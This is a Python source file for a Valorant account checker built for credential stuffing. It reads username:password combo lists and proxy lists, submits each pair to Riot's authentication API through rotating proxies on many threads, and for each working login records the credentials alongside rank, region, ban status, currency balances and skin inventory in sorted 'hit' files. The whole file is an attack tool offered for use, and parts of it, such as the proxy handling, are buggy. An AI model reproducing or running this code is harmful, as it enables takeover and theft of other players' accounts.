from concurrent.futures import thread
from pyexpat.errors import messages
from requests import session as sesh
import requests
from requests.adapters import HTTPAdapter
from ssl import PROTOCOL_TLSv1_2
from urllib3 import PoolManager
from tkinter import *
from collections import OrderedDict
import threading
from re import compile
from cryptocode import decrypt
import ctypes
from tkinter import filedialog, messagebox
import os
import tkinter
import time
import random
from colorama import Fore
import datetime
import pandas
from datetime import datetime
from threading import Thread, Lock
import subprocess

global usernames, passwords, proxylist
usernames = []
passwords = []
proxylist = []
good, bad, cpm1, cpm2, checked, banned, errors = 0, 0, 0, 0, 0, 0, 0

root = tkinter.Tk()
root.withdraw()
white = Fore.WHITE

eu = 0
na = 0
br = 0
kr = 0
latam = 0
ap = 0


verified = 0
trueverified = 0
ratelimit = 0


unranked = 0
iron = 0
bronze = 0
silver = 0
gold = 0
platinum = 0
diamond = 0
ascendant = 0
immortal = 0
radiant = 0


_1_9 = 0
_10_19 = 0
_20_29 = 0
_30_39 = 0
_40_49 = 0
_50_99 = 0
_100_150 = 0
_151 = 0

skinned = 0
no_skins = 0

lock = Lock()
class TLSAdapter(HTTPAdapter):
    def init_poolmanager(self, connections, maxsize, block=False):
        self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block, ssl_version=PROTOCOL_TLSv1_2)


def center(var:str, space:int=None):
    if not space:
        space = (os.get_terminal_size().columns - len(var.splitlines()[int(len(var.splitlines())/2)])) / 2
    
    return "\n".join((' ' * int(space)) + var for var in var.splitlines())

num = 0
def load_combos():
    global usernames, passwords
    gui()
    print()
    input("Press ENTER to select combos")
    fileNameCombo = filedialog.askopenfile(parent=root, mode='rb', title='Choose a combo file',
                                           filetype=(("txt", "*.txt"), ("All files", "*.txt")))
    if fileNameCombo is None:
        print()
        print("Please select valid combo file")
        time.sleep(2)
    else:
        try:
            with open(fileNameCombo.name, 'r+', encoding='utf-8') as e:
                ext = e.readlines()
                for line in ext:
                    try:
                        username = line.split(":")[0].replace('\n', '')
                        password = line.split(":")[1].replace('\n', '')
                        usernames.append(username)
                        passwords.append(password)
                        num = num + 1
                    except:
                        pass
            print("Loaded [{}] combos lines ".format(len(usernames)))
            time.sleep(2)
        except Exception:
            print("Your combo file is probably harmed, please try again")
            time.sleep(2)
num2 = 0
def load_proxies():
    global proxylist
    input("Press ENTER to select proxies..")
    fileNameProxy = filedialog.askopenfile(parent=root, mode='rb', title='Choose a proxy file',
                                filetype=(("txt", "*.txt"), ("All files", "*.txt")))
    if fileNameProxy is None:
        print()
        print("Please select valid proxy file")
        time.sleep(2)
    else:
        try:
            with open(fileNameProxy.name, 'r+', encoding='utf-8', errors='ignore') as e:
                ext = e.readlines()
                for line in ext:
                    try:
                        proxyline = line.split()[0].replace('\n', '')
                        proxylist.append(proxyline)
                        num2 += 1
                    except:
                        pass
            print("Loaded [{}] proxies lines".format(len(proxylist)))
            time.sleep(2)
        except Exception:
            print("failed to open")

kekeds = 0
errors = 0
data = ""
proxy_error = 0
def checker(username, password, proxylist, proxy_type):
    os.system("cls")
    howmanyacounts = len(usernames)
    global skinned, no_skins, proxy_error, kekeds, bad, good, cpm1, cpm2, banned, errors, data, eu, na, br, kr, latam, ap, verified, trueverified, ratelimit, unranked, iron, bronze, silver, gold, platinum, diamond, ascendant, immortal, radiant, _1_9, _10_19, _20_29, _30_39, _40_49, _50_99, _100_150, _151
    cpm2 = cpm1
    cpm1 = 0
    text = ''' 
██▒   █▓ ▄▄▄       ██▓     ▒█████   ██▀███   ▄▄▄       ███▄    █ ▄▄▄█████▓▓██   ██▓
▓██░   █▒▒████▄    ▓██▒    ▒██▒  ██▒▓██ ▒ ██▒▒████▄     ██ ▀█   █ ▓  ██▒ ▓▒ ▒██  ██▒
 ▓██  █▒░▒██  ▀█▄  ▒██░    ▒██░  ██▒▓██ ░▄█ ▒▒██  ▀█▄  ▓██  ▀█ ██▒▒ ▓██░ ▒░  ▒██ ██░
  ▒██ █░░░██▄▄▄▄██ ▒██░    ▒██   ██░▒██▀▀█▄  ░██▄▄▄▄██ ▓██▒  ▐▌██▒░ ▓██▓ ░   ░ ▐██▓░
   ▒▀█░   ▓█   ▓██▒░██████▒░ ████▓▒░░██▓ ▒██▒ ▓█   ▓██▒▒██░   ▓██░  ▒██▒ ░   ░ ██▒▓░
   ░ ▐░   ▒▒   ▓▒█░░ ▒░▓  ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒   ▓▒█░░ ▒░   ▒ ▒   ▒ ░░      ██▒▒▒ 
   ░ ░░    ▒   ▒▒ ░░ ░ ▒  ░  ░ ▒ ▒░   ░▒ ░ ▒░  ▒   ▒▒ ░░ ░░   ░ ▒░    ░     ▓██ ░▒░ 
     ░░    ░   ▒     ░ ░   ░ ░ ░ ▒    ░░   ░   ░   ▒      ░   ░ ░   ░       ▒ ▒ ░░  
      ░        ░  ░    ░  ░    ░ ░     ░           ░  ░         ░           ░ ░     
     ░                                                                      ░ ░     '''        
    faded = ''
    red = 40
    for line in text.splitlines():
        faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
        if not red == 255:
            red += 15
            if red > 255:
                red = 255
    print((faded))   
    r = {Fore.RED}
    print(f"{white}{r}  Github.com/xharky{white}      Accounts: {Fore.LIGHTGREEN_EX}{howmanyacounts}{white} ")
    print(f"\n{white}     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
    print(f"{white}     -                 Checked                >>:({Fore.LIGHTYELLOW_EX}{kekeds}/{len(usernames)}{white})")
    print(f"{white}     -                 Valid                  >>:({Fore.LIGHTGREEN_EX}{good}{white})")	
    print(f"{white}     -                 Invalid                >>:({Fore.LIGHTRED_EX}{banned}{white})")	
    print(f"{white}     -                 Bad Combo              >>:({Fore.RED}{bad}{white})")
    print(f"{white}     -                 Unverified             >>:({Fore.LIGHTGREEN_EX}{verified}{white})")
    print(f"{white}     -                 Verified               >>:({Fore.LIGHTRED_EX}{trueverified}{white})")
    print(f"{white}     -                 Errors                 >>:({Fore.LIGHTRED_EX}{errors}{white})")
    print(f"{white}     -                 Ratelimits             >>:({Fore.LIGHTRED_EX}{ratelimit}{white})")
    print(f"{white}     -                 Proxy error            >>:({Fore.LIGHTRED_EX}{proxy_error}{white})")
    print(f"{white}     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
    print(f"{white}     -                 Skinned                >>:({Fore.LIGHTGREEN_EX}{skinned}{white})")
    print(f"{white}     -                 No Skins               >>:({Fore.LIGHTRED_EX}{no_skins}{white})")
    print(f"{white}     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
    print(f"{white}     -                 1-9                    >>:({Fore.CYAN}{_1_9}{white})")
    print(f"{white}     -                 10-19                  >>:({Fore.CYAN}{_10_19}{white})")
    print(f"{white}     -                 20-29                  >>:({Fore.CYAN}{_20_29}{white})")
    print(f"{white}     -                 30-39                  >>:({Fore.CYAN}{_30_39}{white})")
    print(f"{white}     -                 40-49                  >>:({Fore.CYAN}{_40_49}{white})")
    print(f"{white}     -                 50-99                  >>:({Fore.CYAN}{_50_99}{white})")
    print(f"{white}     -                 100-150                >>:({Fore.CYAN}{_100_150}{white})")
    print(f"{white}     -                 151+                   >>:({Fore.CYAN}{_151}{white})")
    print(f"{white}     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
    print(f"{white}     -                 Unranked               >>:({Fore.CYAN}{unranked}{white})")
    print(f"{white}     -                 Iron                   >>:({Fore.CYAN}{iron}{white})")
    print(f"{white}     -                 Bronze                 >>:({Fore.CYAN}{bronze}{white})")
    print(f"{white}     -                 Silver                 >>:({Fore.CYAN}{silver}{white})")
    print(f"{white}     -                 Gold                   >>:({Fore.CYAN}{gold}{white})")
    print(f"{white}     -                 Platium                >>:({Fore.CYAN}{platinum}{white})")
    print(f"{white}     -                 Diamond                >>:({Fore.CYAN}{diamond}{white})")
    print(f"{white}     -                 Ascendant              >>:({Fore.CYAN}{ascendant}{white})")
    print(f"{white}     -                 Immortal               >>:({Fore.CYAN}{immortal}{white})")
    print(f"{white}     -                 Radiant                >>:({Fore.CYAN}{radiant}{white})")
    print(f"{white}     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
    print(f"{white}     -                 EU                     >>:({Fore.CYAN}{eu}{white})")
    print(f"{white}     -                 NA                     >>:({Fore.CYAN}{na}{white})")
    print(f"{white}     -                 AP                     >>:({Fore.CYAN}{ap}{white})")  
    print(f"{white}     -                 BR                     >>:({Fore.CYAN}{br}{white})")
    print(f"{white}     -                 KR                     >>:({Fore.CYAN}{kr}{white})")
    print(f"{white}     -                 LATAM                  >>:({Fore.CYAN}{latam}{white})")   
    headers = OrderedDict({
        "Accept-Language": "en-US,en;q=0.9",
        "Accept": "application/json, text/plain, */*",
        'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)'
    })

    session = sesh()
    session.headers = headers
    session.mount('https://', TLSAdapter())
    if proxy_type == "https":
        proxy_to_use = random.choice(proxylist)
        try: 
            x = proxy_to_use.split(":")
            if len(x) == 2:
                proxies = {'http': f'http://{proxy_to_use}', 'https': f'https://{proxy_to_use}'}
                session.proxies = proxies
            elif len(x) == 4:
                proxies = {'http': f'http://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}', 'https': f'https://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
                session.proxies = proxies
            else:
                pass
        except Exception:
            pass
    elif proxy_type == "socks4":
        try: 
            x = proxy_to_use.split(":")
            if len(x) == 2:
                proxies = {'http': f'socks4://{proxy_to_use}'}
                session.proxies = proxies
            elif len(x) == 4:
                proxies = {'http': f'socks4://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
                session.proxies = proxies
            else:
                pass
        except Exception:
            pass
    elif proxy_type == "socks5":
        try: 
            x = proxy_to_use.split(":")
            if len(x) == 2:
                proxies = {'http': f'socks5://{proxy_to_use}'}
                session.proxies = proxies
            elif len(x) == 4:
                proxies = {'http': f'socks5://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
                session.proxies = proxies
            else:
                pass
        except Exception:
            pass
    else:
        pass
    data = {
        "acr_values": "urn:riot:bronze",
        "claims": "",
        "client_id": "riot-client",
        "nonce": "oYnVwCSrlS5IHKh7iI16oQ",
        "redirect_uri": "http://localhost/redirect",
        "response_type": "token id_token",
        "scope": "openid link ban lol_region",
    }

    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
    }
    try:
        r = session.post(f'https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
    except:
        proxy_error += 1
        return
    data = {
        'type': 'auth',
        'username': username,
        'password': password
    }
    try:
        r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
        proxy_error += 1
        data = r2.json()
        if "access_token" in r2.text:
            pattern = compile('access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
            data = pattern.findall(data['response']['parameters']['uri'])[0]
            global token
            token = data[0]
        elif "auth_failure" in r2.text:
            banned = banned +1
            bad = bad+1
            cpm1 += 1
            kekeds = kekeds + 1
            return
        
        elif "rate_limited" in r2.text:
            ratelimit += 1
            return
        else:
            errors = errors+1
    except:
        proxy_error += 1
        return


    try:
        headers = {
            'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
            'Authorization': f'Bearer {token}',}
        r = session.post('https://auth.riotgames.com/userinfo', headers=headers, json={},proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
        data = r.json()
        GameName =  r.text.split('game_name":"')[1].split('"')[0]           
        Tag = r.text.split('tag_line":"')[1].split('"')[0]  
        Sub = r.text.split('sub":"')[1].split('"')[0]
        puuid = data['sub']

        EmailVerified = r.text.split('email_verified":')[1].split('"')[0]
        if EmailVerified == "False":
            verified += 1
        if EmailVerified == "True":
            trueverified += 1
        
        data1 = data['acct']
        unix_time = data1['created_at']
        unix_time = int(unix_time)
        result_s = pandas.to_datetime(unix_time,unit='ms')
        typebanned = None
        result_s1 = None

        try:
            data2 = data['ban']
            data3 = data2['restrictions']
            for x in data3:
                typebanned = x['type']
            if typebanned == "PERMANENT_BAN":
                result_s1 = "Permantent"
                bannedtxt = open("results//idk.txt", "a+")
                bannedtxt.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n\n")
                bannedtxt.close()
                return
            else:
                typebanned = "Unbanned"
        except:
            bannedtxt2 = open("results//ban.txt", "a+")
            bannedtxt2.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: does not exist\n\n")
            bannedtxt2.close()
            return
    except:
        proxy_error += 1
        return
    try:
        r = session.post('https://entitlements.auth.riotgames.com/api/token/v1', headers=headers, json={},proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
        entitlement = r.json()['entitlements_token']
    except:
        proxy_error += 1
        return

    DefaultHeaders1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko","Pragma": "no-cache","Accept": "*/*","Content-Type": "application/json"}
    SkinStr = ""
    RankIDtoRank = {"0":"Unranked",
                    "1":"Unused1", 
                    "2":"Unused2" ,
                    "3":"Iron 1" ,
                    "4":"Iron 2" ,
                    "5":"Iron 3" ,
                    "6":"Bronz 1" ,
                    "7":"Bronz 2" ,
                    "8":"Bronz 3" ,
                    "9":"Silver 1" ,
                    "10":"Silver 2", 
                    "11":"Silver 3" ,
                    "12":"Gold 1" ,
                    "13":"Gold 2" ,
                    "14":"Gold 3" ,
                    "15":"Platinum 1" ,
                    "16":"Platinum 2" ,
                    "17":"Plantinum 3" ,
                    "18":"Diamond 1" ,
                    "19":"Diamond 2" ,
                    "20":"Diamond 3" ,
                    "21":"Ascendant 1" ,
                    "22":"Ascendant 2" ,
                    "23":"Ascendant 3" ,
                    "24":"Immortal 1" ,
                    "25":"Immortal 2" ,
                    "26":"Immortal 3" ,
                    "27":"Radiant"}

    GetAccountRegion = requests.get(f"https://api.henrikdev.xyz/valorant/v1/account/{GameName}/{Tag}",headers=DefaultHeaders1)
    if "region" in GetAccountRegion.text:
        Region = GetAccountRegion.json()["data"]["region"]
        AccountLevel = GetAccountRegion.json()["data"]["account_level"]
    else:
        Region = "na"
        AccountLevel = "Unknow"
    Region = Region.lower()
    if Region == "eu":
        eu += 1
    elif Region == "na":
        na += 1
    elif Region == "kr":
        kr += 1
    elif Region == "ap":
        ap += 1
    elif Region == "latam":
        latam += 1
    elif Region == "br":
        br += 1
    PvpNetHeaders = {"Content-Type": "application/json","Authorization": f"Bearer {token}","X-Riot-Entitlements-JWT": entitlement,"X-Riot-ClientVersion": "release-01.08-shipping-10-471230","X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"} 
    try:
        CheckRanked = requests.get(f"https://pd.{Region}.a.pvp.net/mmr/v1/players/{puuid}/competitiveupdates",headers=PvpNetHeaders)

        if '","Matches":[]}' in CheckRanked.text:
                Rank = "UnRanked"
                
        else:
                RankID = CheckRanked.text.split('"TierAfterUpdate":')[1].split(',"')[0]
                Rank = RankIDtoRank[RankID]                  
    except:
        Rank = "Unknow"
    Rank = Rank.lower()
    if Rank == "unranked":
        unranked += 1
    if Rank == "iron":
        iron += 1
    if Rank == "silver":
        silver += 1
    if Rank == "gold":
        gold += 1
    if Rank == "platinum":
        platinum += 1
    if Rank == "diamond":
        diamond += 1
    if Rank == "ascendant":
        ascendant += 1
    if Rank == "immortal":
        immortal += 1
    if Rank == "radiant":
        radiant += 1
    
    try:
        GetPoints = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/wallet/{Sub}",headers=PvpNetHeaders)
        ValorantPoints = GetPoints.json()["Balances"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"]
        Radianite = GetPoints.json()["Balances"]["e59aa87c-4cbf-517a-5983-6e81511be9b7"]
    except:
        ValorantPoints = "UnKnow"
        Radianite = "UnKnow" 
    heders ={
        "X-Riot-Entitlements-JWT": entitlement,
        "Authorization": f"Bearer {token}"
            }
    last_time = None
    try:
        r = requests.get(f"https://pd.{Region}.a.pvp.net/match-history/v1/history/{puuid}?startIndex=0&endIndex=10",headers=PvpNetHeaders)
        data = r.json()
        data2 = data["History"]
        for x in data2:
            data3 = x['GameStartTime']
        unix_time1 = data3
        unix_time1 = int(unix_time1)
        result_s2 = pandas.to_datetime(unix_time1,unit='ms')
        str(result_s2)
        last_time = result_s2
    except:
        errors += 1
    PvpNetHeaders = {"Content-Type": "application/json","Authorization": f"Bearer {token}","X-Riot-Entitlements-JWT": entitlement,"X-Riot-ClientVersion": "release-01.08-shipping-10-471230","X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"}
    r = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/entitlements/{puuid}/e7c63390-eda7-46e0-bb7a-a6abdacd2433",headers=heders)
    response_API = requests.get('https://raw.githubusercontent.com/CSTCryst/Skin-Api/main/SkinList')
    response = response_API.text
    skinsList = response.splitlines()
    userSkins = []
    SkinStr = ""

    skins = r.json()["Entitlements"]
    for skin in skins:
        UidToSearch = skin['ItemID']
        for item in skinsList:
            details = item.split("|")
            namePart = details[0]
            idPart = details[1]
            name = namePart.split(":")[1]
            id = idPart.split(":")[0].lower()
            if id == UidToSearch:
                userSkins.append(name)
                SkinStr += "| " + name + "\n"


    skin_amount = len(userSkins)
    skin_amount = int(skin_amount)
    if skin_amount == 0:
        no_skins += 1
    if skin_amount in range(1, 9):
        _1_9 += 1
        skinned += 1
    if skin_amount in range(10, 19):
        _10_19 += 1
        skinned += 1
    if skin_amount in range(20, 29):
        _20_29 += 1
        skinned += 1
    if skin_amount in range(30, 39):
        _30_39 += 1
        skinned += 1
    if skin_amount in range(40, 49):
        _40_49 += 1
        skinned += 1
    if skin_amount in range(50, 99):
        _50_99 += 1
        skinned += 1
    if skin_amount in range(100, 150):
        _100_150 += 1
        skinned += 1
    if skin_amount in range(151,1000):
        _151 += 1
        skinned += 1
    
    if typebanned == "TIME_BAN":
        for y in data3:
            lol = y['dat']
            exeperationdate = lol['expirationMillis']
            unix_time1 = exeperationdate
            unix_time1 = int(unix_time1)
            result_s1 = pandas.to_datetime(unix_time1,unit='ms')
            str(result_s1)
        bannedtxt1 = open("results//timeban.txt", "a+")
        bannedtxt1.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Expire {result_s1}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
        bannedtxt1.close()
        return
    if Region == "eu":
        if typebanned == None:
            euwe = open("results//eu.txt", "a+")
            euwe.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
            euwe.close()
        else:
            return
    if Region == "na":
        if typebanned == None:
            naeuw = open("results//na.txt", "a+")
            naeuw.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
            naeuw.close()
        else:
            return
    if Region == "ap":
        if typebanned == None:
            SaveHits1 = open("results//ap.txt", "a+")
            SaveHits1.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
            SaveHits1.close()
        else:
            return
    if EmailVerified == "false":
        if typebanned == None:
            SaveHits2 = open("results//FA.txt", "a+")
            SaveHits2.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n|| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
            SaveHits2.close()
        else:
            return

    SaveHits = open("results//All.txt", "a+")
    SaveHits.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
    SaveHits.close()

def gui():
        os.system('cls')
        ctypes.windll.kernel32.SetConsoleTitleW(f'Valorant Skin Checker [V2]') 
        text = ''' 
██▒   █▓ ▄▄▄       ██▓     ▒█████   ██▀███   ▄▄▄       ███▄    █ ▄▄▄█████▓▓██   ██▓
▓██░   █▒▒████▄    ▓██▒    ▒██▒  ██▒▓██ ▒ ██▒▒████▄     ██ ▀█   █ ▓  ██▒ ▓▒ ▒██  ██▒
 ▓██  █▒░▒██  ▀█▄  ▒██░    ▒██░  ██▒▓██ ░▄█ ▒▒██  ▀█▄  ▓██  ▀█ ██▒▒ ▓██░ ▒░  ▒██ ██░
  ▒██ █░░░██▄▄▄▄██ ▒██░    ▒██   ██░▒██▀▀█▄  ░██▄▄▄▄██ ▓██▒  ▐▌██▒░ ▓██▓ ░   ░ ▐██▓░
   ▒▀█░   ▓█   ▓██▒░██████▒░ ████▓▒░░██▓ ▒██▒ ▓█   ▓██▒▒██░   ▓██░  ▒██▒ ░   ░ ██▒▓░
   ░ ▐░   ▒▒   ▓▒█░░ ▒░▓  ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒   ▓▒█░░ ▒░   ▒ ▒   ▒ ░░      ██▒▒▒ 
   ░ ░░    ▒   ▒▒ ░░ ░ ▒  ░  ░ ▒ ▒░   ░▒ ░ ▒░  ▒   ▒▒ ░░ ░░   ░ ▒░    ░     ▓██ ░▒░ 
     ░░    ░   ▒     ░ ░   ░ ░ ░ ▒    ░░   ░   ░   ▒      ░   ░ ░   ░       ▒ ▒ ░░  
      ░        ░  ░    ░  ░    ░ ░     ░           ░  ░         ░           ░ ░     
     ░                                                                      ░ ░     '''        
        faded = ''
        red = 40
        for line in text.splitlines():
            faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
            if not red == 255:
                red += 15
                if red > 255:
                    red = 255
        print((faded))
        print((f'{Fore.LIGHTYELLOW_EX}\nGithub.com/xharky V3\n{Fore.RESET}'))

def main():
    global usernames, passwords
    gui()
    usernames.clear()
    passwords.clear()
    load_combos()
    print("\n[1] Http/s\n[2] Socks4\n[3] Socks5")
    try:
        proxy_type = int(input("  "))
    except Exception:
        print("Invalid input")
        time.sleep(2)
        main()
    if proxy_type == 1:
        proxy_new = "https"
    elif proxy_type == 2:
        proxy_new = "socks4"
    elif proxy_type == 3:
        proxy_new == "socks5"
    else:
        print("Invalid input")
        time.sleep(2)
    load_proxies()
    print(f"{Fore.GREEN}How many threads do you want to use? [Max 1000]{white}")
    try:
        threads = int(input(f"{Fore.RED}[{white}>{Fore.RED}]{white}"))
    except Exception:
        print("Invalid input..")
        time.sleep(2)
        main()
    if threads > 1000:
        print("Maximum thread value is {}1000{}".format())
        time.sleep(2)
        main()
    os.system('cls')
    messages1 = ["cool you can install python mudules lol", "poggg...."," running checker xdd", "follow my on github or you like men github.com/xharky", "if you see this you gay", "give me money"]
    print(random.choice(messages1))
    time.sleep(1.5)
    if threading.active_count() < int(threads):
        try:
            for _ in range(int(threads)):
                for i in range(len(usernames)):
                    t = threading.Thread(target=checker, args=(usernames[i], passwords[i],proxylist, proxy_type))
                    t.start()
                    t.join()

        except:
            print("Checked all.")
            time.sleep(5)
            print()
            input("Press any key to close checker.")
main()